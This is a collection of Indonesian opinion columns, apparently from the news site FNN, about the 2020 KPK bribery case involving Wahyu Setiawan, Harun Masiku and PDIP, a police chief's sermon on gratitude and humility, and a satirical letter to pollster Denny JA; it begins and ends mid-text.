pada 6 Januari 2020. Ia menggunakan penerbangan Garuda Indonesia dengan nomor penerbangan GA 832 sekitar pukul 11.30 WIB. 16.35 Singapura, 7 Januari 2020, ke Jakarta. Ia semalam berada di negara itu dan terbang kembali ke Jakarta dengan menggunakan Batik Air. Pesawat dengan nomor penerbangan ID 7156 itu terbang dari Bandar Udara Changi terminal 16 pukul 16.35 waktu setempat. 17.03 WIB, & Januari 2020, ke Hotel. Ia tiba di Jakarta pukul 17.03 WIB. Dari catatan penerbangan, Harun tercantum duduk di kursi nomor 3C, menggunakan tiket kelas Charlie. Informasi lain menyebutkan bahwa Harun kemudian menuju ke sebuah hotel di pusat kota di Jakarta. 8 januari 2020, bertemu Hasto. Harun pada Rabu, 8 Januari lalu, disebutkan dijemput oleh koleganya, Nurhasan, untuk kemudian diantarkan ke kompleks Perguruan Tinggi Ilmu Kepolisian, kawasan Kebayoran Baru, Jakarta Selatan. Di sini, menurut sejumlah informasi, Hasto telah menunggu. 22.30 WITA, 12 Januari 2020, Pria Misterius. Infomasi keberadaan Harun diungkapkan seorang warga Perumahan Bajeng Permai, Kabupaten Gowa, Sulawesi Selatan, tempat tinggal Harun dan istrinya. Ia menyatakan melihat seorang pria datang ke tempat tinggal Harun pada sekitar pukul 22.30 Wita, Ahad malam, 12 Januari lalu. Pria itu mengendarai sepeda motor, berpakaian serba bitam, dan mengenakan penutup muka. "Saya tahu itu Harun dari perawakannya," katanya. Itulah data dan fakta yang ditemukan Tempo di lapangan. Jika menyimak tulisan Tempo itu, berarti sebenarnya posisi Harun Masiku sekarang ini sudah “berada” di Indonesia. Bukan di luar negeri, seperti yang disampaikan para pejabat di atas. Siapakah yang melindungi Harun Masiku? Padahal, Harun disebut-sebut sebagai penyedia uang untuk menyuap Wahyu Setiawan. Ia bisa menjadi “saksi kunci” dugaan keterlibatan Sekjen PDIP Hasto Kristiyanto yang belum “disentuh” KPK. Tulisan Majalah.tempo.co 13-19 Januari 2020 menguatkan fakta bahwa Harun Masiku ada di Indonesia dan sempat bertemu dengan Hasto Kristiyanto di kompleks PTIK di Jalan Tirtayasa Raya, Jakarta Selatan, Rabu malam, 8 Januari 2020. Ternyata gerak-gerik mereka dipantau oleh petugas KPK. Siang beberapa jam sebelumnya, KPK menangkap komisioner KPK Wahyu Setiawan, karena diduga menerima suap untuk meloloskan Harun Masiku ke DPR lewat PAW. Bersama Wahyu, 7 orang lain juga digulung. Dua diantaranya Saeful Bahri dan Donny Tri Istiqomah, kader PDIP yang dianggap dekat dengan Hasto Kristiyanto. Harun calon anggota legislatif dari PDIP dari daerah pemilihan Sumatera Selatan I. Pada Pemilu 2019, perolehan suaranya di urutan keenam. PDIP ingin mengganti Nazarudin Kiemas, calon legislator peraih suara terbanyak, yang meninggal tiga pekan sebelum hari pencoblosan, 17 April 2019. Tapi KPU menetapkan Riezky Aprilia, peraih suara terbanyak kedua, sebagai calon anggota DPR. Di PTIK, tim KPK terus mengamati keberadaan Harun dan Hasto, yang ditengarai mengetahui penyuapan. Nurhasan dilepaskan dari pengawasan karena bukan target kakap. Sehari-hari ia bekerja sebagai petugas keamanan di kantor Hasto di Jalan Sutan Syahrir Nomor 12A, Menteng. Sembari terus memantau keberadaan target, 5 penyelidik rehat sejenak untuk menunaikan salat isya di masjid Daarul ‘Ilmi di kompleks PTIK. Ketika hendak masuk masjid, mereka malah dicokok sejumlah polisi. Operasi senyap untuk menangkap Hasto dan Harun pun buyar. “Tim penyelidik kami sempat dicegah oleh petugas PTIK dan kemudian dicari identitasnya. Penyelidik kami hendak salat,” kata pelaksana tugas juru bicara KPK, Ali Fikri, Kamis, 9 Januari lalu. Diantara polisi yang menawan petugas KPK, salah seorangnya adalah Kepala Subdirektorat IV Direktorat Tindak Pidana Korupsi Badan Reserse Kriminal Kepolisian RI Ajun Komisaris Besar Hendy Febrianto Kurniawan. Para polisi mengambil foto tim KPK dan memaksa mereka menyerahkan password ponsel masing-masing. Mendengar keributan, seorang petugas KPK yang bersiaga di sekitar pintu depan PTIK merapat ke masjid. Ia mengenali Hendy, yang pernah bertugas di KPK. Hendy mundur dari lembaga antirasuh dan kembali ke Polri pada 2012. Pada 2015, ia pernah menjadi saksi yang memojokkan KPK dalam sidang praperadilan penetapan tersangka Komjen Budi Gunawan, calon Kapolri saat itu. Disapa oleh mantan koleganya di KPK, Hendy menyatakan tak kenal. Ia dan para polisi kemudian menggelandang lima petugas KPK ke sebuah ruangan untuk diinterogasi. Polisi pun memaksa para penyelidik itu menjalani tes urine. Para penyelidik tersebut ditahan sekitar tujuh jam. Mereka baru dilepas setelah Direktur Penyidikan KPK R.Z. Panca Putra Simanjuntak tiba di sana sekitar pukul 03.30, Kamis, 9 Januari lalu. Menurut Ali Fikri, ada kesalahpahaman antara penyelidik KPK dan polisi. “Kemudian diberitahukan petugas KPK, lalu mereka dikeluarkan,” ujar Ali. Kepala Biro Penerangan Masyarakat Polri Brigjen R. Prabowo Argo Yuwono mengatakan proses interogasi merupakan hal yang lumrah. Dia mengklaim pemeriksaan berlangsung tidak lama karena tim KPK dijemput atasannya. “Namanya orang tidak dikenal masuk, kami cek enggak masalah,” kata Argo Yuwono. “Dari pemeriksaan, mereka hanya akan salat.” Tempo mencoba menghubungi dua nomor ponsel Hendy, tapi tak ada yang aktif. Hasto Kristiyanto membantah berada di kompleks PTIK pada Rabu malam itu. “Tidak,” ujar Hasto. Ia mengklaim sedang di suatu tempat karena sakit perut. Ironis, rasanya tak mungkin lima pasang mata petugas KPK tak kenal wajah Hasto. Hasto juga beralasan sedang sibuk menyiapkan Rakernas PDIP, yang bertepatan dengan hari ulang tahun ke-47 partai banteng, di Jakarta International Expo, Kemayoran, Jakarta Pusat. Adapun Nurhasan saat dimintai konfirmasi mengaku pada Rabu malam itu sibuk mondar-mandir dari Sutan Syahrir 12A ke Kemayoran untuk membantu persiapan Rakernas PDIP. “Saya sakit karena dua hari ini hujan-hujanan di jalan,” kata pria 38 tahun itu. Nurhasan menyanggah mendapat perintah untuk mengantar Harun. “Tugas saya cuma buka-tutup pagar di rumah itu,” ujarnya, seperti dilansir majalah.tempo.co. Jika KPK tak berhasil menangkap Harun, bisa dipastikan, Hasto akan tetap aman-aman saja. Bahkan, bersama MenkumHAM Yasonna H. Laoly yang juga Ketua DPP PDIP, Hasto bisa memberikan pernyataan pers di kantor DPP PDIP, Jalan Diponegoro, Menteng, Jakarta pada Rabu malam (15/1/2020). Dalam keterangan pers itu, memutuskan bahwa PDIP membentuk tim hukum untuk melawan KPK. Hal itu dilakukan terkait kasus dugaan korupsi yang melibatkan Wahyu Setiawan dan politisi PDIP Harun Masiku terkait dengan proses pergantian antar waktu atau PAW. Tim hukum dibentuk karena menurut PDIP, upaya penggeledahan kantor partai itu menyalahi UU Nomor 19 Tahun 2019 tentang KPK. Sebab, keinginan menggeledah tak disertai dengan prosedur yang diatur dalam UU, yakni melalui izin Dewan Pengawas atau Dewas. Tidak hanya itu. PDIP juga melaporkan petugas KPK ke Dewas karena dianggap menyalahi aturan. Beranikah Ketua KPK Firly Bahuri hadapi PDIP? Penulis adalah wartawan senior

Kapolri Ajak Polisi Banyak Bersyukur Kepada Allaah SWT

Sikap rendah hati setiap anggota polisi itu sangat dibutuhkan. Polisi juga dituntut untuk selalu memahami lingkungan masyarakat sekitarnya. Polisi perlu memahami tata nilai, tata sosial dan tata budaya yang tumbuh dan berkembang di dalam masyarakat. Polisi harus bisa membedakan mana saja itu urusan agama, adat-istiadat, kebiasaan, tradisi dan budaya yang hidupdan berkembang dalam masyarakat. Sebab masalah-masalah itu sangat erat kaitannya dengan tugas-tugas polisi dalam menjaga kamtibmas di masyarakat. By Kisman Latumakulita Jakarta, FNN – Waidz taadzdzana rabbukum, lain syakartum laaziidannakum walain kafartum inna adzaa bii lasyadiidun. Artinya, “dan ingatlah ketika Tuhanmu memaklumkan, susungguhnya jika kamu bersyukur, niscaya Aku (Allaah SWT) akan menambah nikamat kepadamu. Namun jika kamu ingkar kepada nikmat-Ku (Allaah SWT), maka ingatlah bahawa azabku amat berat”. Anjuran tentang pentingnya manusia bersyukur atas segala nikmat dan karunia yang Allaah SWT berikan itu, tertuang dalam Al-Qur’an Surat Ibrahim, ayat 7. Jika manusia ingin melipatkan gandakan karunia dan rahmat-Nya, maka syaratnya adalah memeperbanyak rasa syukur kepada Allaah SWT. Begitulah berita gemberi dari Sang Khalik sebagai penguasa atas segala sesuatu yang ada di langit dan di bumi. Sabaliknya, jika manusia ingkar terhadap segala nikmat dan karunia yang diberikan Allaah SWT, maka peringatan akan datangnya siksa dan azab dari Allaah kelek. Azab dan siksa Allaah kepada manusia yang kufur atas nikmat dan karunia tersebut, amat pedih dan sangat berat. Untuk itu, mari perbanyak sikap untuk selalu dan selalu bersyukur dan bersykur kepada Allaah SWT atas segala nikmat dan karunianya. Subhanallaah, begitulah kira-kira intisari dari pengarahan Kapolri Jenderal Polisi Idham Azis kepada jajaran kepolisian di wilayah hukum Polda Sulawesi Barat. Jendral Idham menyampaikan pengarahan kepada para anggota polisi itu, pada Minggu 12 Januari 2019 di Mamuju Sulawesi Barat. Kapolri memang sedang berada Mamuju, hari Minggu lalu sebagain bagian dari kunjungan kerja ke Sulawesi Tenggara, Sulawesi Barat dan Sulawesi Selatan. Tidak ada yang sempurna dan serba cukup dalam kehidupan ini. Sama dengan tidak ada yang sempurna juga dalam melaksanakan tugas sebagai anggota polisi. Untuk mengatasi tidak adanya kesempurnaan itu, bahkan mungkin serba tidak cukup, maka perbanyaklah raya syukur dalam diri setiap anggota polisi. Sebab hanya dengan bersyukur itu, anggota polisi bisa menatap masa depan dengan lebih baik. Idham mengatakan kepada jajarannya bahwa dirinya adalah anak orang kampung. Sama seperti sebagian besar anggota polisi lain, yang juga berasal dari kampung. Dengan modal memperbanyak rasa syukur dan belajarlah, Idham sampai hari ini masih tetap menjadi anggota polisi. Sekarang alhamdulillaah dipercaya oleh pemimpin sebagai pimpinan nomor satu di polisi. Nampaknya sikap dan keputusan untuk mempertebal dan memperbanyak rasa syukur kepada Allaah SWT telah menjadi pilihan hidup Idham. Mungkin juga bersyukur adalah harta paling berharga yang diwariskan oleh kedua orang tua kepada Idham. Sebab kalau Idham tidak mempunyai rasa syukur yang tinggi, sangat mungkin pekerjaan Idham hari ini adalah mengangkut batu karang di pinggir laut. Rendah Hati Wujud dari besarnya rasa syakur kepada Allaah SWT tersebut adalah bersikap rendah hati kepada masyarakat. Sebab pelayanan adalah bagian dari tugas polisi kepada masayarakat. Tugas polisi itu melayani, mengayomi, dan melindungi masyarakat. Tugas itu berakibat polisi akan selalu berhadapan dengan dinamika masyarakat yang sangat tinggi. Dan dinamika itu bisa berubah setiap saat. Menghadapi dinamika masyarakat yang sangat tinggi tersebut, sangat diperlukan sikap dan prilaku polisi yang rendah hati. Sebab dengan bersikap rendah hati, membuat masyarakat akan suka dan simpati kepada institusi kepolisian. Kalau masyarakat sudah simpati, maka tugas-tugas polisi dalam menjaga memelihara ketertiban dan keamanan masyarakat (Kamtibmas) menjadi mudah. Sikap rendah hati itu, telah dicontohkan Idham selama dua bulan setengah menjabat Kapolri. Misalnya, Idham tidak mau dikawal oleh pengawal polisi secara berlebihan selama di jalan raya. Untuk menghindar dari kemacetan kalau mau menghadiri rapat di Istana Negara, Istana Wapres, dan Menkopolhukam, Idham biasakan diri berangkat dari kantor minimal satu jam sebelum rapat dimulai. Misalnya kalau rapat jam satu siang, Idham sudah berangkat dari Mabes Polri sebelum jam dua belas. Dengan demikian, Idham tidak lagi memerlukan pengawal yang banyak membuka jalan dari kemungkinan kemacetan menuju ke tempat rapat. Langkah kecil ini coba dilakukan Idham untuk membangun empati masyarakat kepada institusi polisi lebih dari yang sudah ada. Mungkin saja pada jam yang sama, masyarakat juga sedang berjuang keras untuk keluar dari kemacetan. Masyarakat mungkin sudah lebih dulu terperangkap dalam kemacetan yang panjang. Jika dalam suasana kemacetan yang panjang itu, mobil Kapolri berusaha untuk mendahului dan dengan membuka jalan, maka kemungkinan keluar sumpah serapah dari masyarakat, namun sumpahan itu hanya di dalam hati. Kebijakan untuk tidak mau dikawal secara mencolok juga diperlihatkan Kapolri Idham saat berkunjung ke daerah-daerah. Idham juga tidak suka dijemput oleh para Kapolres di bandara. Idham tetap saja memperlihatkan bahwa dirinya adalah adalah anak orang kampung, dari Suku Bugis, Kabupaten Soppeng, Sulawesi Selatan, yang lahir dan besar di Kendari Sulawesi Tenggara. Penujukan Idham sebagai Kapolri adalah amanah yang harus dipertanggung jawabkan dunia akhirat. Tugasnya memimpin dan memastikan bahwa fungsi-fungsi pelayanan, pengayoman dan perlidungan kepada masyarakat, bersama-sama dengan harta benda masyarakat dapat berjalan dengan lancar. Itu yang sangat penting. Tidak lebih, tidak juga kurang. Sikap rendah hati setiap anggota polisi itu sangat dibutuhkan. Polisi juga dituntut untuk selalu memahami lingkungan masyarakat sekitarnya, dengan dinamika yang yang tinggi itu. Polisi perlu memahami tata nilai, sosial dan tata budaya yang tumbuh dan berkembang di dalam masyarakat. Polisi harus bisa membedakan mana saja yang menjadi urusan agama, adat-istiadat, kebiasaan, tradisi dan budaya yang hidup dan berkembang di dalam masyarakat. Sebab masalah-masalah itu sangat erat kaitannya dengan tugas-tugas polisi dalam menjaga kamtibmas di lapangan. Idham bercerita tentang pengalamannya menjabat Kapolda Metro Jaya selama delapan belas bulan. Ibu Negara, Iriana Jokowi, kalau pulang ke Solo, tidak ada pejabat atau Paspampres yang ikut mengantar di bandara. Menunggu untuk naik ke pesawat saja, di ruang tunggu biasa. Bergabung dengan masyarakat di ruangh tunggu. Untuk pengamanan keluarga Presiden (standar VVIP), paling banyak hanya ada dua anggota Paspampres yang liat-liat dan memantau dari kejauhan. Untuk itu, menjadi sangat lucu dan aneh saja kalau ada istri Kapolres yang dikawal berlebihan bila mau berangkat naik ke pesawat atau berangkat ke Jakarta. Apalagi kalau yang berangkat itu istrinya Kapolda. Bisa-bisa rung tunggu VVIP di bandara tersebut penuh sesak dengan pejabat kepolisian. Untuk itu, Idham memulai perubahan kecil-kecil itu dari dalam dirinya sendiri. Idham juga tidak terlihat menggunakan plat mobil bintang empat pada mobil dinas Kapolri. Khususnya di hari-hari kerja, Senin sampai Jum’at. Selain itu, sejak menjabat Kapolri, sudah tidak ada lagi pagar beton setinggi setengah meter lebih yang mengelilingi rumah dinas Kapolri di jalan Pattimura, Jakarta Selatan. Begitu juga dengan pengamanan di rumah dinas Kapolri. Sekarang tidak lagi tampak ada anggota polisi bersenjata lengkap yang berjaga-jaga di luar rumah dinas Kapolri. Semua yang dilakukan Kapolri Idham Azis ke dari dalam internal ini, mudah-mudahan saja semakin menyatukan, rekekatkan dan mendekatkan masyarakat dengan polisi. Masyarakat adalah pemilik dan pemegang saham utama dari institusi polisi. Bukan pemerintah. Untuk itu, kesuksesan polisi harus dilihat dari kepuasan masyarakat terhadap tugas-tugas pelayanan, pengayoman dan perlindungan kepada masyarakat. Penulis adalah Wartawan Senior

Arief Budiman Terlibat Suap Wahyu Setiawan?

Oleh Mochamad Toha Jakarta, FNN - Penetapan tersangka Komisioner KPU Wahyu Setiawan dalam kasus suap politisi PDIP oleh KPK tidak akan berarti jika tak disusul dengan penetapan tersangka lain, yang tidak tertutup kemungkinan para komisioner KPU selain Wahyu. Dugaan korupsi (suap) komisioner yang menyeret Sekjen PDIP Hasto Kristiyanto itu dikhawatirkan juga akan menyeret oknum Wakil Menteri dalam Kabinet Indonesia Maju ini. Kotor benar “mainnya”. Ini baru 1 yang ketahuan. Sebagai rakyat biasa, kita berharap semoga saja KPK berani ungkap semua permainan kotor seperti ini mulai dari tingkat Nasional hingga Daerah. Wahyu diduga menerima suap hingga Rp 900 juta dengan menjanjikan PAW politisi PDIP. Adalah Harun Masiku yang ingin menjadi anggota DPR RI 2019-2024 untuk menggantikan PAW Nazaruddin yang meninggal dunia. Nazaruddin terpilih dari Dapil 1 Sumatera Selatan dalam Pileg 2019. Namun, pada 31 Agustus 2019, KPU menetapkan Riezky Aprilia yang berhak menjadi PAW. Sebab, sesuai dengan perolehan suara, Riezky-lah yang berhak menggantikan Nazaruddin itu. Harun mencoba hendak menggeser Riezky. Harun yang sejak Minggu (6/1/2020) meninggalkan Indonesia itu diduga memberikan uang pada Wahyu agar bisa membantunya menjadi anggota legislatif melalui PAW. Saeful Bahri, tersangka lain, menyebut uang suap itu berasal dari Hasto. Wahyu pun pada akhirnya terkena OTT KPK dengan barang bukti uang suap Rp 400 juta. Harun Masiku bernasib apes, perjuangan untuk dilantik jadi DPR malah berujung penjara kena OTT KPK. Apalagi, Ketua KPU Arief Budiman menyebut ada tanda tangan Ketum PDIP Megawati Soekarnoputri dan Sekjen PDIP Hasto Kristiyanto dalam surat permohonan PAW Harun Nasiku untuk menggantikan caleg terpilih yang meninggal dunia, Nazarudin Kiemas. Tiga surat dari DPP PDIP yang ditujukan kepada pihaknya dibubuhi tanda tangan Hasto. Hal itu diungkapkan Arief dalam konferensi pers di Kantor KPU, Menteng, Jakarta Pusat, Jumat (10/1/2020). Komisioner KPK Lili Pintauli Siregar mengatakan, selain Wahyu, KPK telah menetapkan Agustiani Tio Fridelina, orang kepercayaan Wahyu, mantan anggota Bawaslu. Kemudian, politikus PDIP Harun Masiku dan seorang pihak swasta bernama Saeful Bahri. Dua nama terakhir disebut Lili Pintauli Siregar sebagai pemberi suap. Sementara Wahyu dan Agustiani diduga sebagai penerima suap. Tersangka Harun sendiri tidak terjaring dalam OTT, Rabu (8/1/2020) lalu, saat ini masih belum diketahui keberadaannya. Harun Masiku adalah caleg PDIP yang menempati urutan keenam dalam perolehan suara. Meski urutan keenam, justru Harun yang dimajukan PDIP untuk menggantikan Nazaruddin yang meninggal sebelum Pileg 2019 digelar. Sedangkan posisi kedua hingga kelima ditempati Riezky Aprilia (nomor urut 3), Darmadi Jufri (nomor urut 2), Doddy Julianto Siahaan (nomor urut 5), dan Diah Okta Sari (nomor urut 4). Meski meninggal, Nazaruddin memperoleh suara terbanyak. Saat dikonfirmasi, Kamis (9/1/2020), Hasto Kristiyanto mengatakan, “Dia (Harun Masiku) sosok yang bersih. Kemudian, di dalam upaya pembinaan hukum selama ini cukup baik ya track record-nya,” kata Hasto meyakinkan. Benarkah? Semua itu nantinya akan terkuak dalam sidang DKPP yang kini sedang berlangsung di KPK. Setidaknya, Wahyu yang disidang terkait Kode Etik dipastikan tak akan mau “dikorbankan” sendirian. Dalam sidang Rabu (15/1/2020) saja ia mulai “nyanyi”. Meski Wahyu dan Arief menyatakan bahwa kasus yang menimpa Wahyu itu masalah pribadi, tapi keterangan Wahyu dalam sidang pertama sempat pula menyebut nama Ketua KPU Arief Budiman dan Komisioner KPU Evi Novida Ginting Manik. Bahkan, hingga nama anggota Komisi II DPR Fraksi PDIP Johan Budi, saat menjalani sidang dugaan pelanggaran kode etik itu. Wahyu mengatakan, ia sempat menyampaikan pada Arief dan Evi perihal PDIP yang menanyakan soal penetapan anggota DPR melalui proses PAW. Menurut Wahyu, hal ini disampaikan ke Arief dan Evi, lantaran ia mencium adanya potensi “permakelaran” dalam permohonan yang disampaikan DPP PDIP itu. “Saya bahkan sudah menyampaikan fenomena yang sedang saya hadapi,” ungkap Wahyu. “Saya pernah menyampaikan itu kepada Pak Ketua (Arief Budiman) dan Kak Evi (Evi Novida Ginting Manik),” kata Wahyu dalam persidangan di Gedung Merah Putih KPK, Jakarta Selatan, seperti dilansir Kompas.com, Rabu (15/1/2020). “Saya pernah menyampaikan di chatting saya, saya mohon surat-surat penolakan terhadap PDI-P segera dikeluarkan karena ada situasi permakelaran,” lanjutnya. Kepada Arief, Wahyu bahkan sempat meminta supaya ia menghubungi Harun Masiku. Arief diminta Wahyu untuk menyampaikan bahwa permohonan PAW PDIP tidak bisa KPU laksanakan karena tak memenuhi ketentuan perundang-undangan. “Karena gelagatnya tidak enak, saya bilang ke ketua, ketua kalau ketua bisa berkomunikasi dengan Harun tolong disampaikan bahwa permintaan PDIP melalui surat tidak mungkin bisa dilaksanakan, kasihan Harun,” ujar Wahyu. Sementara itu, anggota Komisi II DPR Johan Budi sempat disebut Wahyu telah mengetahui adanya penolakan dari KPU untuk menetapkan Harun Masiku sebagai anggota DPR melalui proses PAW. Wahyu mengatakan, setelah dirinya menyampaikan ke Arief, Arief lantas menyampaikan sikap penolakan KPU ini ke sejumlah pihak, termasuk ke Johan Budi. “Ketua juga menceritakan pada kami, telah berupaya menjelaskan pada berbagai pihak soal sikap penolakan kami. Termasuk baru saja menceritakan pada Pak Johan Budi, Anggota Komisi II yang kebetulan bertugas sama ketua,” ujarnya. Tapi, Wahyu tak menyebutkan lebih lanjut bagaimana tanggapan Johan Budi. Sebelumnya, Komisi Pemberantasan Korupsi (KPK) menetapkan Komisioner Komisi Pemilihan Umum (KPU) Wahyu Setiawan sebagai tersangka kasus suap penetapan anggota DPR 2019-2024. Wahyu diduga menerima suap dari Politisi PDIP Harun Masiku yang juga telah ditetapkan sebagai tersangka oleh KPK. Selain menetapkan Wahyu dan Harun, dalam kasus ini KPK juga menetapkan dua orang lainnya sebagai tersangka. Yaitu mantan anggota Bawaslu, orang kepercayaan Wahyu, Agustiani Tio Fridelina, dan pihak swasta bernama Saeful Bahri. Wahyu dan Agustiani diduga sebagai penerima suap. Sementara Harun dan Saeful disebut sebagai pihak yang memberi suap. Sebagai Ketua KPU yang sudah dilapori Wahyu, seharusnya Arief Budiman mewanti-wanti Wahyu agar tidak “bermain” dengan upaya PDIP yang memaksakan kehendaknya. Apalagi memberi “angin surga” seolah bisa mengurus PAW untuk Harun Masiku. Apalagi, semua Komisioner KPU sudah tahu bahwa dalam penyelenggaraan Pimilu itu KPU berpegang pada UU Pemilu yang kemudian diatur dalam Peraturan KPU (PKPU). Adanya putusan MA Nomor 57 P/HUM/2019 itu tak bisa mengalahkan UU Pemilu. Berdasarkan putusan MA Nomor 57 P/HUM/2019, partainya memiliki kewenangan dalam menentukan pengganti anggota legislatif terpilih yang meninggal dunia. Hasto menegaskan, dalam merekomendasikan nama Harun, PDIP pun berpegang pada aturan tersebut. “Proses penggantian itu kan ada putusan dari Mahkamah Agung. Ketika seorang caleg meninggal dunia, karena peserta pemilu adalah partai politik, maka putusan Mahkamah Agung menyerahkan hal tersebut (pengganti) kepada partai,” lanjut Hasto. Dari sini sebenarnya Hasto “tidak tahu” bahwa posisi UU Pemilu itu lebih tinggi dari PKPU, sehingga apapun putusan MA tidak bisa mengubah kedudukan hukum UU Pemilu yang ada di atas PKPU. Presiden Joko Widodo pada 15 Agustus 2017 telah mengesahkan UU 7 Tahun 2017 tentang Pemilu. UU Nomor 7 Tahun 2017 ini menjadi dasar hukum penyelenggaraan Pemilu DPR, DPD, DPRD dan Pilpres tahun 2019 yang diselenggarakan secara serentak. Perlu dicatat, sukses Uji Materi PKPU di MA itu tak punya Kekuatan Hukum jika melanggar UU Pemilu. Sebab UU Memiliki Kekuatan di atas Segala Peraturan. Seharusnya Hasto dan para kader parpol belajar tahu, UU Pemilu itu lebih tinggi dari PKPU! Sehingga, para kader politik tidak selalu salah dalam berpolitik dan patuh hukum. Seharusnya juga tidak ngotot memaksakan kehendak parpol (PDIP). Putusan MA yang menyerahkan hal tersebut (pengganti) kepada partai, harus dibaca secara yuridis formal. Artinya, sebenarnya MA sudah mengarahkan PDIP supaya kembali ke aturan formal hukum, yakni UU Pemilu. Kalau pun akhirnya KPU menetapkan Riezky Aprilia sebagai pengganti Nazarudin untuk duduk di kursi Senayan, adalah sudah tepat. Cuma pertanyaannya, mengapa sampai ada uang suap segala meski sebenarnya KPU sudah melaksanakan UU Pemilu? Tidak salah jika kemudian muncul pertanyaan, jangan-jangan ini juga sudah pernah dilakukan sebelumnya, cuma tak ketahuan. Apalagi, selama ini Wahyu Setiawan dikenal sebagai Komisioner yang menggawangi Situng KPU yang hingga kini, konon, belum “selesai” juga. KPU sukses menipu rakyat dengan hasil Situng yang tak kunjung kelar sampai hari ini. Dengan kata lain, KPU sukses menipu rakyat melalui penetapan hasil pemilu dadakan pada tengah malam buta saat rakyat sedang tidur nyenyak! Sekarang gantian, Komisioner KPU dan yang terlibat suap KPU yang tidak bisa tidur nyenyak! Penulis wartawan senior.

Petisi Dukung Denny JA Komsaris Inalum

By Asyari Usman Jakarta, FNN - Maaf ini Pak Denny JA. Saya, tampaknya, termasuk yang pertama membaca “postingan salah alamat” tentang keinginan dan kesiapan Anda menjadi komisaris PT Inalum. Boleh jadi, saya yang pertama membacanya diantara anggota grup Whatsapp (WA) Tokoh Nasional. Postingan yang ditujukan kepada Pak Komandan itu pun saya timpa dengan komentar. Tapi kemudian Anda hapus tak lama setelah terekspos. Setelah itu, publik medsos dihebohkan. Macam-macam dugaan orang tentang postingan “komisaris Inalum” itu. Ada yang tak percaya kalau itu postingan Anda. Ada yang mengatakan tak mungkin Pak Denny JA semberono seperti itu. Bahkan ada yang mengatakan “komisaris Inalum” itu hanya usaha pengalihan isu, dlsb. Sampai akhirnya muncul “cerpen” Anda yang secara implisit mengakui bahwa postingan itu benar dari Anda. Dan, secara jantan pula Anda berkilah bahwa tidak ada salahnya seseorang yang telah berjasa memenangkan Jokowi menjadi presiden dua kali, menawarkan diri untuk ikut “mambangun” negara lewat jabatan komisaris. Nah, klarifikasi berbentuk cerpen itu haruslah mengakhiri polemik tentang otentisitas postingan “komisaris Inalum”. Setidaknya saya menganggap tidak ada persoalan lagi soal keasliannya. Meskipun masih ada berbagai masalah terkait kontennya. Sebagai contoh, ada yang menyorot dari sisi moralitas seorang surveyor terhormat sekelas Denny JA. Ada pula yang berkomentar tentang “dividen politik” selain dividen finansial. Malahan ada yang berpendapat bahwa postingan “komisaris Inalum” itu adalah ‘bomshell’ yang menghancurkan LSI. Saya tidak hirau dengan semua itu. Bagi saya, ada satu hal yang sangat urgen untuk diperhatikan. Dan harus segera dituntaskan. Yaitu, realisasi penunjukan Pak Denny menjadi komisaris Inalum. Ini yang sangat mendesak. Ini yang harus “kejar tayang”. Kenapa? Karena Inalum sangat memerlukan Pak Denny JA. Saya akan mengkampanyekan ini ke publik. Bahwa Inalum bisa lebih bagus kalau Denny ada di dalam. Mengapa ini yang saya kampanyekan? Supaya anggapan khalayak bahwa Ente itu mengemis jabatan, bisa tersamarkan sedikit. Meski tidak mungkin dihilangkan total. Karena, harus diakui, isi postingan untuk Komandan itu memang berbau ‘ngemis jabatan. Untuk tujuan inilah, saya mohon izin dari Pak Denny JA. Izin untuk membuatkan petisi online. Kita kumpulkan dukungan publik buat Ente supaya diangkat menjadi komisaris Inalum. Kalau nanti hasil petisi online itu mayoritas tidak setuju Anda menjadi menjadi komisaris Inalum, kita olah saja dengan mesin survei LSI. Misalnya, angka petisi itu nanti 70% tak setuju, 30% setuju, kita balik saja. Kita umumkan 70% setuju, 30% tidak. Yang penting survei menunjukkan dikungan mutlak buat Ente. Kita bawa petisi olahan itu ke Pak Komandan. Denny JA 70%. Harus diangkat menjadi komisaris utama Inalum. Erick Thohir tak akan berani menolak. Ini yang urgen bagi saya, Pak Denny. Petisi online itu harus secepatnya diluncurkan. Saya siapkan judul ini: #DennyJAkomisarisInalum. Jangan khawatir, banyak yang paham situasi Ente, Bro Denny. Publik bisa kok melihat kemarau panjang hari-hari ini di lahan survei kelas superjumbo.[] 16 Januari 2020 Penulis wartawan senior.

PDIP Melecehkan KPK dan Hukum

By Asyari Usman Jakarta, FNN - Kalau arogansi PDIP ketika menghadang aparat KPK yang datang untuk menyegel atau menggeledah kantor Hasto Kristiyanto, 8 Januari 2020, dijalin dalam satu kalimat, ada kemungkinan bunyinya seperti ini: “Kami tolak geledah, kalian mau apa?” Kira-kira begitulah gambaran keangkuhan orang-orang PDIP. Tidak ada narasi lain yang pas. Sebab, baru pertama kali ini KPK gagal melakukan penyegelan dan penggeledahan. Dulu, di awal 2016, Fahri Hamzah pernah mempersoalkan penggeledahan KPK. Tapi, akhirnya, penggeledahan di ruang kerja seorang anggota DPR terlaksana juga waktu itu. Tentu akan ada yang bertanya, mengapa PDIP bisa arogan? Bisa menghadang tim KPK yang menjalankan tugas sesuai peraturan? Jawabannya: karena mereka yang berkuasa. Mereka merasa sangat berkuasa. Mereka bisa mengatur apa saja. Mereka merasa semuanya ada dalam genggaman PDIP. Kantor Hasto (Sekjen PDIP) di Jalan Diponegero, Menteng, Jakarta, hendak digeledah terkait OTT komisioner KPK, Wahyu Setiawan (WS), pada 8 Januari 2020 juga. Wahyu diduga menerima uang sogok ratusan juta dari Harun Masiku, seorang kader PDIP. Hasto diduga ikut berperan. Harun Masiku adalah kader Bu Megawati yang ingin beliau naikkan menjadi anggota DPRRI sebagai pengganti antar waktu (PAW). KPU sudah menetapkan Riezky Aprilia sebagai PAW untuk Nazaruddin Kiemas yang meninggal dunia sebelum Pemilu 2019. Tapi, pimpinan PDIP ‘ngotot agar Harun yang dinaikkan. Herannya, banyak yang berpendapat PDIP sudah tamat gara-gara kasus suap WS. Nah, apakah iya PDIP bakal selesai lantaran kasus ini? Bagi orang luar, mungkin ada benarnya. Tetapi, bagi orang PDIP kelihatannya mereka merasaa tidak ada dampak apa-apa. Itu terbukti dari cara orang-orang Banteng bereaksi setelah Wahyu tertangkap. Mereka bukannya kooperatif terhadap KPK, melainkan menunjukkan arogansi. Kesombongan. Sekarang, apa arti penolakan PDIP terhadap penggeledahan KPK? Agak sulit mencarikan makna yang proporsional untuk penghalauan petugas KPK itu. Terminologi yang paling ringan adalah pelecehan. PDIP melecehkan KPK. Sekaligus juga melecehkan hukum. Kalau kata “melecehkan” mau diperhalus lagi, Anda malah akan ketemu kata-kata yang lebih vulgar. Bisa-bisa lebih konyol. Kata “melecehkan” sudah sangat ‘generous’ untuk menggambarkan arogansi 